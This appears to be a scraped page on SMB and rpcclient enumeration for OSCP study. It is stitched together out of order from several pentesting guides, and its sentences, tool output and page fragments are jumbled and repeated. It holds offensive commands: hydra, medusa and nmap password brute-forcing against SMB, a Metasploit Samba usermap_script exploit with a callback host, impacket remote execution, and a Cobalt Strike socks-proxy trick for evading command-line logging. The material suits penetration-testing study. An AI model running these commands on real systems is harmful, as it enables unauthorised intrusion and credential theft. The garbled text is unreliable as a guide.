rpcclient enumeration oscp

|_ Current user access: READ The group information helps the attacker to plan their way to the Administrator or elevated access. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1010 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 This can be obtained by running the lsaenumsid command. . *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. enumprinters Enumerate printers {% endcode-tabs %}. samquerysecobj Query SAMR security object From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. The ability to enumerate individually doesnt limit to the groups but also extends to the users. -c, --command=COMMANDS Execute semicolon separated cmds To enumerate these shares the attacker can use netshareenum on the rpcclient. To extract information about the domain, the attacker can provide the domain name as a parameter to the command lookupdomain as demonstrated. Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network.The main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that . S-1-5-21-1835020781-2383529660-3657267081-1015 LEWISFAMILY\bin (2) result was NT_STATUS_NONE_MAPPED --------------- ---------------------- and therefore do not correspond to the rights assigned locally on the server. samlookupnames Look up names -V, --version Print version, Connection options: srvinfo Server query info --------- ---- ------- May need to run a second time for success. querydispinfo Query display info It can be observed that the os version seems to be 10.0. .. D 0 Thu Sep 27 16:26:00 2018 This command is made from LSA Query Security Object. --------------- ---------------------- [Original] As Ive been working through PWK/OSCP for the last month, one thing Ive noticed is that enumeration of SMB is tricky, and different tools fail / succeed on different hosts. shutdownabort Abort Shutdown (over shutdown pipe) The TTL drops 1 each time it passes through a router. 139,445 - Pentesting SMB - HackTricks so lets run rpcclient with no options to see whats available: SegFault:~ cg$ rpcclient Finger. Are you sure you want to create this branch? RPC/SMB/NetBios exploiting tutorials : r/oscp - Reddit getdriverdir Get print driver upload directory S-1-5-21-1835020781-2383529660-3657267081-1009 LEWISFAMILY\tty (2) Hashes work. Defense Evasion. NETLOGON NO ACCESS It is also possible to add and remove privileges to a specific user as well. Active Directory Enumeration: RPCClient - Hacking Articles Nmap scan report for [ip] SANS Penetration Testing | Plundering Windows Account Info via Code Execution. ADMIN$ NO ACCESS Depending on the user privilege it is possible to change the password using the chgpasswd command. [+] IP: [ip]:445 Name: [ip] dfsenum Enumerate dfs shares enumforms Enumerate forms The main application area of the protocol has been the, operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed. result was NT_STATUS_NONE_MAPPED | VULNERABLE: The SID was retrieved using the lookupnames command. none Force RPC pipe connections to have no special properties, Lets play with a few options: It enumerates alias groups on the domain. samsync Sam Synchronisation | State: VULNERABLE enumkey Enumerate printer keys First one - two Cobalt Strike sessions: Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: {% code-tabs %} | May need to run a second time for success. Since the user and password-related information is stored inside the SAM file of the Server. netremotetod Fetch remote time of day An attacker can create an account object based on the SID of that user. so lets run rpcclient with no options to see what's available: SegFault:~ cg$ rpcclient. Red Team Infrastructure. Description. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500 Active Directory & Kerberos Abuse. result was NT_STATUS_NONE_MAPPED getdataex Get printer driver data with keyname PORT STATE SERVICE exit takes care of any password request that might pop up, since were checking for null login. | account_used: guest SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V | Disclosure date: 2017-03-14 Using rpcclient we can enumerate usernames on those OSs just like a windows OS. rpcclient $> netshareenum and Unix distributions and thus cross-platform communication via SMB. I create my own checklist for the first but very important step: Enumeration. The next command to demonstrate is lookupsids. On most Linuxes, we have tab auto-complete of commands, which extends into rpcclient commands. -S, --signing=on|off|required Set the client signing state Nowadays it is not very common to encounter hosts that have null sessions enabled, but it is worth a try if you do stumble across one. With some input from the NetSecFocus group, Im building out an SMB enumeration check list here. logonctrl Logon Control Using rpcclient we can enumerate usernames on those OS's just like a windows OS. In the previous command, we used the getdompwinfo to get the password properties of the domain administrated by the policies. | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 The article is focused on Red Teamers but Blue Teamers and Purple Teamers can also use these commands to test the security configurations they deployed. This is an enumeration cheat sheet that I created while pursuing the OSCP. Next, we have two query-oriented commands. We can filter on ntlmssp.ntlmv2_response to see NTLMv2 traffic, for example. We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. | Current user access: While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. This is an approach I came up with while researching on offensive security. -N, --no-pass Don't ask for a password is SMB over Ip. As with the previous commands, the share enumeration command also comes with the feature to target a specific entity. Most of the Corporate offices dont want their employees to use USB sticks or other mediums to share files and data among themselves. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003 --usage Display brief usage message, Common samba options: remark: PSC 2170 Series | smb-vuln-ms06-025: The name is derived from the enumeration of domain users. if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. Using lookupnames we can get the SID. deletedomuser Delete domain user | IDs: CVE:CVE-2017-0143 result was NT_STATUS_NONE_MAPPED without the likes of: which most likely are monitored by the blue team. New Folder - 6 D 0 Sun Dec 13 06:55:42 2015 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 See examples in the previous section. LSARPC-DS All this can be observed in the usage of the lsaenumprivaccount command. result was NT_STATUS_NONE_MAPPED The connection uses. Guest access disabled by default. Running something like ngrep -i -d tap0 's.?a.?m.?b.?a. deldriverex Delete a printer driver with files Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). This is an approach I came up with while researching on offensive security. To demonstrate this, the attacker first used the lsaaddpriv command to add the SeCreateTokenPrivielge to the SID and then used the lsadelpriv command to remove that privilege from that group as well. -l, --log-basename=LOGFILEBASE Basename for log/debug files Code & Process Injection. NETLOGON READ ONLY guest access disabled, uses encryption. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 It has undergone several stages of development and stability. shutdown Remote Shutdown | A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1 PORT STATE SERVICE It is possible to perform enumeration regarding the privileges for a group or a user based on their SID as well. Password: Are there any resources out there that go in-depth about SMB enumeration? Flashcards. Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. We will shine the light on the process or methodology for enumerating SMB services on the Target System/Server in this article. Copyright 2017 pentest.tonyng.net. [+] User SMB session establishd on [ip] This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. --------------- ---------------------- |_smb-vuln-ms10-054: false *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. remark: IPC Service (Mac OS X) Enumerate Domain Users. This is newer version of SMB. New Folder (9) D 0 Sun Dec 13 05:26:59 2015 rpcclient -U "" 192.168.1.100 rpcclient $> querydominfo . In the demonstration, it can be observed that the current user has been allocated 35 privileges. Server Message Block in modern language is also known as Common Internet File System. SPOOLSS If Im missing something, leave a comment. | servers (ms17-010). In our previous attempt to enumerate SID, we used the lsaenumsid command. You signed in with another tab or window. To extract further information about that user or in case during the other enumeration the attacker comes into the touch of the SID of a user, then they cause to use the lookupsids command to get more information about that particular user. You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. If this information does not appear in other used tools, you can: # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. platform_id : 500 The next command to observe is the lsaquerysecobj command. To enumerate a particular user from rpcclient, the queryuser command must be used. The lsaaddacctrights command can be used to add privileges to a user based on their SID. S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1) PWK Notes: SMB Enumeration Checklist [Updated] - 0xdf hacks stuff It contains contents from other blogs for my quick reference if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! The deletedomuser command is used to perform this action. If proper privileges are assigned it also possible to delete a user using the rpcclient. | \\[ip]\IPC$: CTF solutions, malware analysis, home lab development, Looking up status of [ip] This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2) rpcclient (if 111 is also open) NSE scripts. oncybersec/oscp-enumeration-cheat-sheet - Github If these kinds of features are not enabled on the domain, then it is possible to brute force the credentials on the domain. These may indicate whether the share exists and you do not have access to it or the share does not exist at all. IPC$ IPC Remote IPC DFS Adding it to the original post. authentication rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 This is made from the words get domain password information. But sometimes these don't yield any interesting results. SegFault:~ cg$rpcclient -U "" 192.168.182.36 Impacket, 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. dfsremove Remove a DFS share Reconnecting with SMB1 for workgroup listing. Get help on commands Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: This means that the attacker can now use proxychains to proxy traffic from their kali box through the beacon to the target (attacker ---> beacon ---> end target). setprinterdata Set REG_SZ printer data | Comment: Remote Admin rewardone in the PWK forums posted a neat script to easily get Samba versions: When you run this on a box running Samba, you get results: When in doubt, we can check the smb version in PCAP. Since we performed enumeration on different users, it is only fair to extend this to various groups as well. [Update 2018-12-02] I just learned about smbmap, which is just great. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, Enumerate Users, Groups & Logged On Users, Manually enumerate windows shares and connect to them, . One of the first enumeration commands to be demonstrated here is the srvinfo command. S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) lsaenumacctrights Enumerate the rights of an SID dsroledominfo Get Primary Domain Information with a RID:[0x457] Hex 0x457 would = decimal. Curious to see if there are any "guides" out there that delve into SMB . | State: VULNERABLE SaAddUsers 0:65281 (0x0:0xff01) result was NT_STATUS_NONE_MAPPED In general, the rpcclient can be used to connect to the SMB protocol as well. This command will show you the shares on the host, as well as your access to them. | Type: STYPE_DISKTREE lsaremoveacctrights Remove rights from an account

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